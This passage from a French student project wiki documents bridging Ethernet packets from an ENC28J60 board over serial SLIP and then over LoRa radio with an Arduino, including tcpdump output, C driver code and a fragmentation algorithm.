*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+LoRa  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
Pour cette partie, nous essayons de mettre toutes les cartes ensemble: enc28j60+arduino+LoRa afin de réaliser la réussite de la transmission et la réception des paquets Ethernet. Cependant, nous avons rencontré deux problèmes principaux&lt;br /&gt;
* Le choix de CS d'Arduino&lt;br /&gt;
* La correspondance de la taille du paquet&lt;br /&gt;
1). Pour le premier problème, des fonctions de SPI sont déjà définies par les fonctions dans la librairie de l'enc28j60, au lieu d'utiliser des fonctions définies nous avons appelé directement la fonction '''spi_init()''' dans le répertoire SPI du LoRa. Ensuite nous avons changé le pin de CS de l'enc28j60 pour que les deux cartes puissent travailler une après l'autre.  &lt;br /&gt;
&lt;br /&gt;
2). Lorsque la longueur d'un paquet Ethernet peut atteindre 1500 octets mais la longueur maximal d'un paquet d'être enregistré dans le buffer du LoRa ne fait que 255 octets, donc nous avions le problème de correspondance de la taille du paquet. Pour résoudre ce problème nous avons fait la fragmentation. Nous avons créé un tableau de 64 octets, ensuite nous avons remplit ce tableau octet par octet. Le dernier octet est réservé pour dire le numéro du fragment et vérifier si c'est la fin du paquet.Quant à la réception, le récepteur doit recevoir des fragments en ordre. Une fois qu'il loupe un fragment, le récepteur va s'arrêter de capter des paquets et attend l'arrivée de nouveau paquet .&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:fragment.jpg|thumb|upright=2|Fragments du paquet]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Après bien avoir étudié des caratères de module LoRa SX1276 et la carte Ethernet réseau ENC28J60, pour leur faire communiquer nous avons écrit un algorithme &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Boucle&lt;br /&gt;
    Si pas de paquet Ethernet en stock Alors&lt;br /&gt;
      tenter de lire un paquet Ethernet pour le mettre en stock&lt;br /&gt;
    FSi&lt;br /&gt;
    Si pas de réception en cours Alors&lt;br /&gt;
      Si paquet Ethernet en stock Alors&lt;br /&gt;
        envoyer un fragment LoRA&lt;br /&gt;
        Si dernier fragment Alors&lt;br /&gt;
          libérer la mémoire du paquet Ethernet&lt;br /&gt;
          attendre un paquet LoRa un temps raisonnable&lt;br /&gt;
        Fsi&lt;br /&gt;
      Sinon&lt;br /&gt;
        Si un paquet Ethernet vient d'être reçu par LoRa Alors&lt;br /&gt;
          envoyer un paquet LoRa de taille 1&lt;br /&gt;
      FSi&lt;br /&gt;
    Fsi&lt;br /&gt;
    Si pas d'envoi en cours et paquet LoRa reçu Alors&lt;br /&gt;
      Si paquet est un fragment (taille &amp;gt; 1) Alors&lt;br /&gt;
        stocker le fragment dans le tampon d'envoi Ethernet&lt;br /&gt;
        Si dernier fragment Alors&lt;br /&gt;
          envoyer le paquet sur Ethernet&lt;br /&gt;
        FSi&lt;br /&gt;
      FSi&lt;br /&gt;
    FSi&lt;br /&gt;
  FinBoucle&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
En suite nous avons interprété cet algorithme en langage C&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
while(1)&lt;br /&gt;
        {&lt;br /&gt;
                if(nb_ethernet==0)&lt;br /&gt;
                {&lt;br /&gt;
                        nb_ethernet = enc28j60PacketReceive();&lt;br /&gt;
                        if(nb_ethernet&amp;gt;0 &amp;amp;&amp;amp; nb_ethernet&amp;lt;=MAX_ETHERNET)&lt;br /&gt;
                        {&lt;br /&gt;
                                index_ethernet = 0;&lt;br /&gt;
                                num_frag = 0;&lt;br /&gt;
                                output_set(5,1);&lt;br /&gt;
                        }&lt;br /&gt;
                        else nb_ethernet=0;&lt;br /&gt;
                }&lt;br /&gt;
#ifdef VERBOSE&lt;br /&gt;
                printf(&amp;quot;num=%d nb_ethernet=%d\n&amp;quot;,num,nb_ethernet);&lt;br /&gt;
                _delay_ms(100);&lt;br /&gt;
#endif&lt;br /&gt;
                if(num&amp;lt;0)&lt;br /&gt;
                {&lt;br /&gt;
                        if(nb_ethernet&amp;gt;0)&lt;br /&gt;
                        {&lt;br /&gt;
                                int i;&lt;br /&gt;
                                num=-1; rxmode=0;&lt;br /&gt;
                                if(index_ethernet &amp;lt; nb_ethernet)&lt;br /&gt;
                                {&lt;br /&gt;
                                        for(i=0;(i&amp;lt;MAX_FRAGMENT) &amp;amp;&amp;amp; (index_ethernet&amp;lt;nb_ethernet);i++)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                unsigned char c = enc28j60ByteRead();&lt;br /&gt;
                                                index_ethernet++;&lt;br /&gt;
                                                packet_lora[i]=c;&lt;br /&gt;
                                        }&lt;br /&gt;
                                        if(index_ethernet &amp;lt; nb_ethernet) packet_lora[i]=0x00;&lt;br /&gt;
                                        else packet_lora[i]=0x80;&lt;br /&gt;
                                        packet_lora[i] |= num_frag++;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                        printf(&amp;quot;ether=%d/%d num_frag=%02x taille=%d\n&amp;quot;,index_ethernet,nb_ethernet,packet_lora[i],i+1);&lt;br /&gt;
#endif&lt;br /&gt;
                                        sx1276_LoRaEntryTx();&lt;br /&gt;
                                        output_set(4,1);&lt;br /&gt;
                                        sx1276_LoRaTxPacket(packet_lora,i+1);           //transmission from LoraServer&lt;br /&gt;
                                        sx1276_LoRaTxReady();&lt;br /&gt;
                                        output_set(4,0);&lt;br /&gt;
                                        if(index_ethernet &amp;gt;= nb_ethernet)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                nb_ethernet = 0;&lt;br /&gt;
                                                enc28j60FreeMemory();&lt;br /&gt;
                                                output_set(5,0);&lt;br /&gt;
                                                /* Attendre un paquet LoRa un temps raisonnable */&lt;br /&gt;
                                                unsigned char test=0;&lt;br /&gt;
                                                sx1276_LoRaEntryRx();&lt;br /&gt;
                                                rxmode=1;&lt;br /&gt;
                                                for(i=0;i&amp;lt;MAX_WAIT/GRAIN_WAIT;i++){&lt;br /&gt;
                                                        test=sx1276_LoRaRxTest();&lt;br /&gt;
                                                        if(test) break;&lt;br /&gt;
                                                        _delay_ms(GRAIN_WAIT);&lt;br /&gt;
                                                        }&lt;br /&gt;
                                                if(test){&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                                        printf(&amp;quot;Got answer!\n&amp;quot;);&lt;br /&gt;
#endif&lt;br /&gt;
                                                        }&lt;br /&gt;
                                        }&lt;br /&gt;
                                        else _delay_ms(10);&lt;br /&gt;
                                }&lt;br /&gt;
                        }&lt;br /&gt;
                        else{&lt;br /&gt;
                                if(num==-2){&lt;br /&gt;
                                        unsigned char c=0;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                        printf(&amp;quot;Send void packet\n&amp;quot;);&lt;br /&gt;
#endif&lt;br /&gt;
                                        sx1276_LoRaEntryTx();&lt;br /&gt;
                                        sx1276_LoRaTxPacket(&amp;amp;c,1);&lt;br /&gt;
                                        sx1276_LoRaTxReady();&lt;br /&gt;
                                        num=-1;&lt;br /&gt;
                                }&lt;br /&gt;
                        }&lt;br /&gt;
                }&lt;br /&gt;
                if(index_ethernet&amp;lt;=0 || nb_ethernet==0){&lt;br /&gt;
                        if(!rxmode) sx1276_LoRaEntryRx();&lt;br /&gt;
                        rxmode=1;&lt;br /&gt;
                        }&lt;br /&gt;
                if(rxmode &amp;amp;&amp;amp; (nb_received=sx1276_LoRaRxPacket(packet_received,MAX_FRAGMENT+1))&amp;gt;0)       //receptionfrom LoraClient&lt;br /&gt;
                {&lt;br /&gt;
                        unsigned char header=packet_received[nb_received-1];&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                        printf(&amp;quot;rec=%d h=%02x\n&amp;quot;,nb_received,header);&lt;br /&gt;
#endif&lt;br /&gt;
                        if (nb_received&amp;gt;1)&lt;br /&gt;
                        {&lt;br /&gt;
                                int j;&lt;br /&gt;
                                if(num&amp;gt;=0 &amp;amp;&amp;amp; (header&amp;amp;0x7f)!=num+1) num=-1;&lt;br /&gt;
                                else{&lt;br /&gt;
                                        if(num&amp;lt;0) num=-1;&lt;br /&gt;
                                        if((header&amp;amp;0x7f)==0x00)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                enc28j60InitializeSend();&lt;br /&gt;
                                                output_set(6,1);&lt;br /&gt;
                                        }&lt;br /&gt;
                                        for(j=0;j&amp;lt;nb_received-1;j++) enc28j60WriteByteSend(packet_received[j]);&lt;br /&gt;
                                        if((header&amp;amp;0x80)==0x00) num++;&lt;br /&gt;
                                        else {&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                                printf(&amp;quot;Ether sending num=%d\n&amp;quot;,num);&lt;br /&gt;
#endif&lt;br /&gt;
                                                num=-2;&lt;br /&gt;
                                                enc28j60FinalizeSend();&lt;br /&gt;
                                                output_set(6,0);&lt;br /&gt;
                                                }&lt;br /&gt;
                                        }&lt;br /&gt;
                        }&lt;br /&gt;
                        rxmode=0;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                        printf(&amp;quot;num=%d\n&amp;quot;,num);&lt;br /&gt;
#endif&lt;br /&gt;
                }&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons effectué des tests avec un module LoRa et une carte réseau chaque coté, nous avons réussit à envoyer des paquets icmp et des paquets arp.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:0001.jpg|thumb|upright=0.75|ping]]&lt;br /&gt;
|[[Fichier:0002.jpg|thumb|upright=0.75|tcpdump]]&lt;br /&gt;
|[[Fichier:0003.jpg|thumb|upright=0.75|tcpdump]]&lt;br /&gt;
|[[Fichier:0004.jpg|thumb|upright=0.75|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
